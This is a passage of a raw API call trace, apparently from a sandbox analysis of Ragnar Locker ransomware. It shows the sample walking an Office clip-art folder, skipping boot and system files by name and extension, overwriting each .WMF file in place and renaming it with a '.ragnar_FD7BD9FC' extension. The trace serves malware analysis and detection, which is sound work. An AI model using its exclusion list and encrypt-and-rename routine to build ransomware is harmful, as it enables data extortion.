[0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="ntuser.ini") returned -1 [0082.948] lstrcmpiW (lpString1="J0089992.WMF", lpString2="thumbs.db") returned -1 [0082.948] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.948] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.948] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.948] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.948] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.949] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.949] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 0x20 [0082.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.949] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15680) returned 1 [0082.950] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.950] GetProcessHeap () returned 0x580000 [0082.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.950] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.951] VirtualAlloc (lpAddress=0x0, dwSize=0x3d40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.951] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.951] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.951] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d40, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3d40, lpOverlapped=0x0) returned 1 [0082.952] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.952] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d40, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.953] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d40, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3d40, lpOverlapped=0x0) returned 1 [0082.953] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.953] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.953] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.953] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.953] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.953] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.953] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.953] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.953] GetProcessHeap () returned 0x580000 [0082.953] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.953] CloseHandle (hObject=0xf4) returned 1 [0082.954] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" [0082.954] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.ragnar_FD7BD9FC" [0082.954] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.954] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0082.954] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.954] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0090027.WMF" | out: lpString1="J0090027.WMF") returned="J0090027.WMF" [0082.954] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned=".WMF" [0082.954] lstrcmpiW (lpString1="J0090027.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.954] lstrcmpiW (lpString1="J0090027.WMF", lpString2="autorun.inf") returned 1 [0082.954] lstrcmpiW (lpString1="J0090027.WMF", lpString2="boot.ini") returned 1 [0082.954] lstrcmpiW (lpString1="J0090027.WMF", lpString2="bootfont.bin") returned 1 [0082.954] lstrcmpiW (lpString1="J0090027.WMF", lpString2="bootsect.bak") returned 1 [0082.954] lstrcmpiW (lpString1="J0090027.WMF", lpString2="bootmgr") returned 1 [0082.954] lstrcmpiW (lpString1="J0090027.WMF", lpString2="bootmgr.efi") returned 1 [0082.954] lstrcmpiW (lpString1="J0090027.WMF", lpString2="bootmgfw.efi") returned 1 [0082.954] lstrcmpiW (lpString1="J0090027.WMF", lpString2="desktop.ini") returned 1 [0082.955] lstrcmpiW (lpString1="J0090027.WMF", lpString2="iconcache.db") returned 1 [0082.955] lstrcmpiW (lpString1="J0090027.WMF", lpString2="ntldr") returned -1 [0082.955] lstrcmpiW (lpString1="J0090027.WMF", lpString2="ntuser.dat") returned -1 [0082.955] lstrcmpiW (lpString1="J0090027.WMF", lpString2="ntuser.dat.log") returned -1 [0082.955] lstrcmpiW (lpString1="J0090027.WMF", lpString2="ntuser.ini") returned -1 [0082.955] lstrcmpiW (lpString1="J0090027.WMF", lpString2="thumbs.db") returned -1 [0082.955] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.955] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.955] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.955] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.955] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.955] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.955] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 0x20 [0082.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.955] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21268) returned 1 [0082.955] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x530b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.955] GetProcessHeap () returned 0x580000 [0082.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.955] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.957] VirtualAlloc (lpAddress=0x0, dwSize=0x5314, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.957] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.957] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.957] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5314, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5314, lpOverlapped=0x0) returned 1 [0082.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.958] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5314, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.958] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5314, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5314, lpOverlapped=0x0) returned 1 [0082.958] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5314, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.959] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.959] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.959] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.959] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.959] GetProcessHeap () returned 0x580000 [0082.959] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.959] CloseHandle (hObject=0xf4) returned 1 [0082.959] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" [0082.959] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.ragnar_FD7BD9FC" [0082.959] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0082.960] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.960] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0090087.WMF" | out: lpString1="J0090087.WMF") returned="J0090087.WMF" [0082.960] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned=".WMF" [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="autorun.inf") returned 1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="boot.ini") returned 1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="bootfont.bin") returned 1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="bootsect.bak") returned 1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="bootmgr") returned 1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="bootmgr.efi") returned 1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="bootmgfw.efi") returned 1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="desktop.ini") returned 1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="iconcache.db") returned 1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="ntldr") returned -1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="ntuser.dat") returned -1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="ntuser.dat.log") returned -1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="ntuser.ini") returned -1 [0082.960] lstrcmpiW (lpString1="J0090087.WMF", lpString2="thumbs.db") returned -1 [0082.960] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.960] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.960] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.960] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.961] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.961] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.961] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 0x20 [0082.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.961] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=46936) returned 1 [0082.961] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb74f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.961] GetProcessHeap () returned 0x580000 [0082.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.961] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.962] VirtualAlloc (lpAddress=0x0, dwSize=0xb758, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.963] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb758, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb758, lpOverlapped=0x0) returned 1 [0082.964] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.965] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb758, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.965] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb758, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb758, lpOverlapped=0x0) returned 1 [0082.965] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb758, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.965] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.965] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb758, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.965] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.965] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.966] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.966] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.966] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.966] GetProcessHeap () returned 0x580000 [0082.966] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.966] CloseHandle (hObject=0xf4) returned 1 [0082.966] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" [0082.966] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.ragnar_FD7BD9FC" [0082.966] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0082.966] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.966] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0090089.WMF" | out: lpString1="J0090089.WMF") returned="J0090089.WMF" [0082.967] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned=".WMF" [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="autorun.inf") returned 1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="boot.ini") returned 1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="bootfont.bin") returned 1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="bootsect.bak") returned 1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="bootmgr") returned 1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="bootmgr.efi") returned 1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="bootmgfw.efi") returned 1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="desktop.ini") returned 1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="iconcache.db") returned 1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="ntldr") returned -1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="ntuser.dat") returned -1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="ntuser.dat.log") returned -1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="ntuser.ini") returned -1 [0082.967] lstrcmpiW (lpString1="J0090089.WMF", lpString2="thumbs.db") returned -1 [0082.967] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.967] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.967] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.967] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.967] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.967] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.967] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 0x20 [0082.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), 